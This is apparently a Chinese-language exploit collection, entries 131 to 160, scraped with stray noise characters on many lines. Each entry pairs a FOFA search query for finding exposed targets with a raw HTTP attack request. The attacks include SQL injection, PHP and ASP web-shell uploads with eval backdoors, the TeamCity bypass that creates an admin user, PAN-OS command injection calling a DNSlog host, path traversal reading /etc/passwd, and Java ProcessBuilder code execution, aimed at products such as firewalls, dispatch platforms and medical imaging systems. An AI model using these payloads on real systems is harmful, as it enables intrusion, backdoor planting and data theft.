8 P- U! u6 j5 m6 x5 Q, g$ C- B" ?9 {Connection: close

0 n7 f% p3 i; V: G. V------WebKitFormBoundary3OCVBiwBVsNuB2kR
Content-Disposition: form-data; name="file"; filename="1.php"
) @0 v  p4 Z9 v7 |  F7 r) a: f  BContent-Type: image/png

<?php phpinfo();@eval($_POST['sec']);?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--
  Q. U& @- y& E2 }$ Q
" I! w4 h' M0 N1 j# R) p7 V4 h
9 {4 h& U4 \! Y8 t5 e* I6 ?131. Mini-Tmall <=20231017 SQL注入
* {, \# f% Z6 I/ y8 t0 L- \0 @FOFA：icon_hash="-2087517259"
; v: S; ~3 v+ H0 Y- J0 c后台地址：http://localhost:8080/tmall/admin
http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)
0 G( B: T+ a7 F
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
) ]7 o( z5 Z! `, I) u2 R. cCVE-2024-27198
FOFA：body="Log in to TeamCity"
+ M8 F, p, v; k) N7 K( ^. O6 DPOST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
Host: 192.168.40.130:8111
0 D: j1 D5 `; k) F/ s0 L, iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
& c5 a! @  ^+ b2 O, ^Accept: */*
3 _$ O, S* N1 m2 W( _Content-Type: application/json
- ~8 a. u3 y7 ?* t# yAccept-Encoding: gzip, deflate
3 ?7 Y" f; d  l. }0 K
{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
/ [3 d3 U. j* a6 W- Y+ Z

; |3 n/ M5 `: h  M- C& |7 s7 GCVE-2024-27199
0 Q1 M/ t% a" j1 S) m/res/../admin/diagnostic.jsp
5 W3 r/ J# l) w1 A& n/.well-known/acme-challenge/../../admin/diagnostic.jsp
/update/../admin/diagnostic.jsp


CVE-2024-27198-RCE.py

133. H5 云商城 file.php 文件上传
+ @$ Q6 _8 T9 q( n5 UFOFA：body="/public/qbsp.php"
, Z0 S% z1 g* Y% T3 c. i9 fPOST /admin/commodtiy/file.php?upload=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx
" ?) S0 k. P* e! P
------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: application/octet-stream
% C# l3 t  M! c1 s- ~  n3 x
<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
8 r- W4 i2 V7 {; W' |
8 w" w- s. H# p9 b/ v

134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
8 r$ F' G" R: |4 |1 t( hNetentsec NS-ASG Application Security Gateway 6.3版本
3 q1 u/ F) P/ ^FOFA：app="网康科技-NS-ASG安全网关"
POST /protocol/index.php HTTP/1.1
Host: x.x.x.x
Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
7 [9 c' K, z# ]  B8 _User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
& F: ~% _& F& ^9 ]Accept: */*
% y' l4 _9 b. d. iAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- Y: k: _' `$ m3 gAccept-Encoding: gzip, deflate
3 z7 [7 Y* \! s' ]: YSec-Fetch-Dest: empty
" e/ u4 m% J1 a* YSec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
8 H; ^# D/ x- Z* HTe: trailers
. ^1 J* _: S$ X2 R9 IConnection: close
5 j# B4 }: G" @" {Content-Type: application/x-www-form-urlencoded
Content-Length: 263
9 ?- q& F2 O1 C. g4 n5 ~# B
jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}
6 `  W$ a" ^$ S. ]

135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
CVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
$ P+ S* Y! Z3 P2 NFOFA：app="网康科技-NS-ASG安全网关"
GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
8 ~+ f- S+ x, u  ?# O! pHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
1 b% d# f" R& i' h) D

0 ~- ]  S5 s1 u( m" O  Q136. NextChat cors SSRF
CVE-2023-49785
, E+ T% g, d( j. D. G. ~8 RFOFA：title="NextChat"
. ~& j- ?: x+ n; q; [- VGET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
Host: x.x.x.x:10000
& N" B& a: b7 B  ]User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
3 ~3 d- y, m: a+ c! [5 A# E4 Q$ FAccept: */*
+ Z& X7 s3 r: h- y! d  fAccept-Language: en
Accept-Encoding: gzip
' D7 s2 M& m9 A) n: w, N7 B
) s' }1 G$ }- U
8 u3 f( w& I! g0 E: p137. 福建科立迅通信指挥调度平台down_file.php sql注入
* U. C4 q* x1 m( F. m8 [5 t5 Z" QCVE-2024-2620
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
2 ?; k# S7 Z% ?8 I* kHost: x.x.x.x
8 {2 q7 }& A" sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 D  x+ N! T) O7 H% rAccept-Encoding: gzip, deflate, br
2 |: T# r& m4 o0 T' d' l: AConnection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
4 o1 Q# J# P' S) @+ D0 OUpgrade-Insecure-Requests: 1

, M# Y& b5 o4 ?8 v  b, }4 v" |
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
CVE-2024-2621
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
1 f4 X6 c* m4 ]GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
# T- b* @0 U  |/ w$ UHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
9 s2 t4 j" Q: m* A. _7 G/ P- j. UAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
' ], G  [* h5 b/ qAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
# f1 i$ H; l% N( wAccept-Encoding: gzip, deflate, br
Connection: close
% f+ @% [& A. Q! B" t7 ]# qUpgrade-Insecure-Requests: 1

6 ~  K- A7 K% O3 k2 k; q; i
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
/ B3 C- Y2 ^5 a5 `6 s3 Q& k4 LFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
; _' Z- R" k$ J1 X+ H7 RGET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
Host: x.x.x.x
9 T4 U8 |# T" |" p& H$ oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
( K% k: C3 U; k* W  yAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
! m$ V- C, ]  J" o' b3 V- L1 Z1 WConnection: close
# o# h4 O4 v  \5 A1 uCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
Upgrade-Insecure-Requests: 1


140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
CVE-2024-2566
+ L3 Z; \9 x9 c: W# Y9 hFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
2 U4 d  L: }- C0 r% xGET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
8 ^2 S' A7 w6 w) lAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
, N: g5 w* Z6 ~  W6 `' B7 eAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
( l% \' J/ M- E# C8 Q4 f1 G, J: JCookie: authcode=h8g9
Upgrade-Insecure-Requests: 1

! B; g9 C+ P7 |; _  ^! b4 G
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
8 P0 E) l- ~6 v0 _  vFOFA：body="指挥调度管理平台"
POST /app/ext/ajax_users.php HTTP/1.1
+ j! _/ r1 K3 x/ a8 e- U, uHost: your-ip
5 P- X# T0 H  fUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Content-Type: application/x-www-form-urlencoded


dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -

, F6 M( Y$ t, m8 {
; c2 s7 Y2 z3 H5 x7 w. i142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
- S5 P! q4 J! ^$ WFOFA：body="/808gps/"
admin/admin
143. Netis WF2780 v2.1.40144 远程命令执行
3 v6 l9 r6 H9 i" e& T) WCVE-2024-25850
FOFA：title='AP setup' && header='netis'
PAYLOAD

144. D-Link nas_sharing.cgi 命令注入
8 w- W* W7 m* WFOFA：app="D_Link-DNS-ShareCenter"
system参数用于传要执行的命令
GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
8 G& |6 v, ]3 s- J  Z+ AHost: x.x.x.x
9 c  Y" |* g8 Y/ h$ p( tUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
: }. H% Y( g6 s5 Q1 aConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
+ A3 z4 N  F5 z) p7 F0 H: s
* L9 ~( Y( T$ _+ j+ p* U
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
2 P. H$ b- v0 L) Y) p# M- F  @CVE-2024-3400
FOFA：icon_hash="-631559155"
, \1 z0 o! z. C+ UGET /global-protect/login.esp HTTP/1.1
  d6 o7 _! |: n. `6 @Host: 192.168.30.112:1005
7 m/ e  T& |! R1 L0 H' _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
% I7 ^8 a" Q" WConnection: close
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
* q: S4 A  T. U1 Z: c# }+ ~Accept-Encoding: gzip


( H2 S$ v3 r8 T1 t+ S. k) ~' [146. MajorDoMo thumb.php 未授权远程代码执行
CNVD-2024-02175
6 n/ h2 \* }5 l" E# s" hFOFA：app="MajordomoSL"
  m4 a3 U' ^% YGET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
1 H1 Q) w1 c/ r7 D7 IHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
& V2 ~( S$ J. a2 x" ~Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
1 H3 H% n' X! A& M# U$ q; ~) hConnection: close
/ D6 N! q! l3 H. R9 y# ~
6 F* V) F* ]" C: K
5 \) J8 N) Z- Y! ]147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
CVE-2024-32399
! v: Q( [+ L+ Z7 M6 wFOFA：body="RaidenMAILD"
GET /webeditor/../../../windows/win.ini HTTP/1.1
" O4 A+ p8 w; G- OHost: 127.0.0.1:81
' ~/ ^  U# s% r  }% vCache-Control: max-age=0
, y# B9 a. Y6 y5 G: W, z( GConnection: close

1 f' k. o1 u% }3 [0 M) h
148. CrushFTP 认证绕过模板注入
8 ?* b" S1 C8 H& ~/ j) |' bCVE-2024-4040
' |+ q: k# F, C: B! C+ q4 y( d0 YFOFA：body="CrushFTP"
PAYLOAD
# W" H5 m4 E2 M( Y4 O
4 |/ l0 E' D* I5 Y! E149. AJ-Report开源数据大屏存在远程命令执行
FOFA：title="AJ-Report"

POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
3 q( p: V! m7 H4 lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
8 z, w+ f8 |+ d( _9 I2 oAccept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
! d$ V& g7 f# `
150. AJ-Report 1.4.0 认证绕过与远程代码执行
FOFA：title="AJ-Report"
& C0 l% [; e& Z) g+ w9 v& }4 dPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
* u6 J( ?% K9 I/ c- mHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
4 P3 p. U2 V# d4 T/ c1 ~' y+ @Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
; `; {+ y' E( D' ^8 I2 o( CAccept-Encoding: gzip, deflate, br
+ S; s2 s4 m% D) x  {! rAccept-Language: zh-CN,zh;q=0.9
3 l/ {8 j3 z! d; D% RContent-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 339

# Q. _7 [6 K1 T5 q{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

$ N9 g; S4 `+ g. D& N
+ C" w& Z. U) {6 |% j151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
) W9 k& F  F: f+ ~9 V: |( h1 y

152. Progress Kemp LoadMaster 远程命令执行
CVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
& z7 |8 Y. y0 d% [6 ILoadMaster <= 7.2.48.10 (LTS)
FOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
GET /access/set?param=enableapi&value=1 HTTP/1.1
Host: x.x.x.x
; r4 t! u, |4 M% D9 eUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
9 C+ p6 y! h. qConnection: close
Accept: */*
Accept-Language: en
9 O9 I/ Q. Q* Y" Z; IAuthorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
Accept-Encoding: gzip

0 f7 }7 \7 g# v( q
153. gradio任意文件读取
% |6 D3 j7 R; k+ \# W0 ]CVE-2024-1561FOFA：body="__gradio_mode__"
2 v) k9 y* w0 ~! ?! B* S第一步，请求/config文件获取componets的id
http://x.x.x.x/config


6 w0 v4 q; d, W) t第二步，将/etc/passwd的内容写入到一个临时文件
  Z$ a- H9 ?. F: S; {4 ^6 p8 f& BPOST /component_server HTTP/1.1
# J. J9 D% g2 a( L+ ]Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
6 [- f9 V7 l4 D( K* c3 LConnection: close
1 e& r3 P& G" E! y( lContent-Length: 115
Content-Type: application/json
$ J* c# Y* b( ]" `% [Accept-Encoding: gzip

{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
8 ^! Z) O5 W" {
* G/ b' f2 t7 F& a2 U! x# c
第三步访问
http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd

3 c6 x5 J. w2 u; I% i* G# z
154. 天维尔消防救援作战调度平台 SQL注入
CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
3 ~- s. y6 k3 t. V% lHost: x.x.x.x
Content-Length: 106
Cache-Control: max-age=0
" u/ v6 r; a+ g/ lUpgrade-Insecure-Requests: 1
) W; N+ B( S" i4 a  R1 WOrigin: http://x.x.x.x
  H% w3 N' \+ }" DContent-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
/ r8 W7 _7 n9 k2 ^) n6 PReferer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
Accept-Encoding: gzip, deflate
2 n* }8 G8 p3 `Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}
" L( d8 h2 G* X8 r
: p  \7 h; t/ b! A( _
155. 六零导航页 file.php 任意文件上传
CVE-2024-34982
# b, n4 a0 o8 C& I. F' P% zFOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
  G2 n& ^" L. x$ C) ZConnection: close
Content-Length: 232
4 _  v8 W1 y9 [. s' {Accept: application/json, text/javascript, */*; q=0.01
7 Z2 T" _0 P# B& Q1 k- R, W$ C9 uAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
% l: j. I) i- h: }* P- B& R8 F' fContent-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
X-Requested-With: XMLHttpRequest

9 K% @0 K, {- H2 B, D-----------------------------qttl7vemrsold314zg0f
# k6 n$ n. |! |+ s* jContent-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png

. T9 E& k$ _7 v) q$ U, I<?php phpinfo();unlink(__FILE__);?>
-----------------------------qttl7vemrsold314zg0f--

# Y$ \  t- G) i2 b, a! |4 L
$ `5 n( L# _8 O. ?访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
- C& U* b# A# M) M% V8 U1 k
156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
1 F0 @1 u9 [6 `& V& DFOFA："Location: /login.rsp"
" ~/ X6 a" M; w1 w0 X( J·TBK DVR-4104
- ~8 Z% n4 u+ G·TBK DVR-4216
curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"

9 h" M* g) V2 u$ i* T' R/ i
$ z- o) d$ O5 u/ k+ DPOST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 0
2 ?) @8 Q/ z; ?" B! s7 f6 W5 ~; h- nCookie: uid=1
Accept-Encoding: gzip
/ D8 N3 i7 _, ~
+ H* {& ]- o% C/ B  H# O) Y$ D
9 l2 ?$ r% l$ _, f157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
$ T, {0 |9 R5 c+ M1 BFOFA：body="/common/scripts/basic.js"
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
2 `1 [& `) G  ~# nContent-Length: 709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
+ Z* @. e: k& h9 ~9 a; A' sAccept-Language: zh-CN,zh;q=0.9
" R1 {; P$ T3 V& E/ c, ]Cache-Control: max-age=0
6 G4 x. m+ u! b5 B" t5 ]& S0 tConnection: close
) b! L% f& x1 D$ tContent-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
; X- T$ t4 s/ g/ H$ f9 LUpgrade-Insecure-Requests: 1

------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
/ n' h" M/ }' Q: F3 t- @$ BContent-Type: application/octet-stream
* k5 u, l! _3 R' |5 X
( |, z& O2 v6 p* z# P, V/ mnyhelxrutzwhrsvsrafb
% e, E" L1 k3 ~. M7 l1 ?------WebKitFormBoundary1imovELzPsfzp5dN
( l/ T! V3 Y* q+ j" T: H: m% ]' oContent-Disposition: form-data; name="key"
9 ?$ T- |$ `# X& H) U( v
; S- c& _. s1 ^null
  H; \, ^0 Y0 ~------WebKitFormBoundary1imovELzPsfzp5dN
5 Q/ `3 }$ ^7 k- uContent-Disposition: form-data; name="form"
+ t( E, N2 r: c/ i' V) s
null
5 |; p  f9 W. Q. g8 c------WebKitFormBoundary1imovELzPsfzp5dN
8 n$ ]$ H, J& G) ^* v: @Content-Disposition: form-data; name="field"

2 i4 `, p1 q' k" C$ w* v$ q# hnull
3 [, ]9 l6 f# I! U, ]+ y& ~( h------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filetitile"
) E: R7 j. R& a3 N
null
( g4 G( [0 M9 G" x------WebKitFormBoundary1imovELzPsfzp5dN
3 I1 ^% z' n1 r( C) S; p8 r9 |' tContent-Disposition: form-data; name="filefolder"

9 J9 z! j+ {  @' pnull
------WebKitFormBoundary1imovELzPsfzp5dN--

( D1 T  Y% q- [  S. c! ], H6 V/ a
2 _4 u2 n6 Y. ?7 l& W& Y  C* G. ohttp://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp
9 P' f% v0 L- Q# _) S5 h8 j
158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
: {& _3 O& N* x# U- R! w; t) xFOFA："Generator: Masa CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
: g2 n0 ^, s6 u4 y) k% k0 U' GHost: {{Hostname}}
Content-Type: application/x-www-form-urlencoded

object=displayregion&contenthistid=x\'&previewid=1

4 S3 r: L, [; ?; ~
9 [/ _, h8 B9 K159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
/ P( H4 |) z; J* }0 G! t; _FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
; @9 v6 W; W0 x9 N3 H( ePOST /webservices/WebJobUpload.asmx HTTP/1.1
/ G6 }" [1 S7 Y: _& pHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Length: 1080
' S* z( w# {) g. P0 a  FAccept-Encoding: gzip, deflate
Connection: close
Content-Type: text/xml; charset=utf-8
% {2 u( w" }- J' ~8 [Soapaction: "http://rainier/jobUpload"

! N# j$ I8 S4 p<?xml version="1.0" encoding="utf-8"?>
, A+ Z9 E& h% F<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
3 L  r" \5 @7 l* Q, B<jobUpload xmlns="http://rainier">
<vcode>1</vcode>
/ _2 x! v6 m$ ?. {) @. O" b<subFolder></subFolder>
2 s# ^. w( Z$ y  Y<fileName>abcrce.asmx</fileName>
, h7 z. t- k1 T<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
4 H5 K! A" y; P8 v1 e! _</jobUpload>
</soap:Body>
</soap:Envelope>
5 e) K) p) ]# Q7 X
6 h/ q% `% y6 n# h8 A% {$ d( K
/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")
- z  L+ Y2 X% B5 s: F$ q1 p* J; |
: N# }( r6 m0 n5 g% B* {
- e0 V1 f  g. ]: a160. Sonatype Nexus Repository 3目录遍历与文件读取
9 y3 w& _& ]/ R# TCVE-2024-4956
FOFA：title="Nexus Repository Manager"
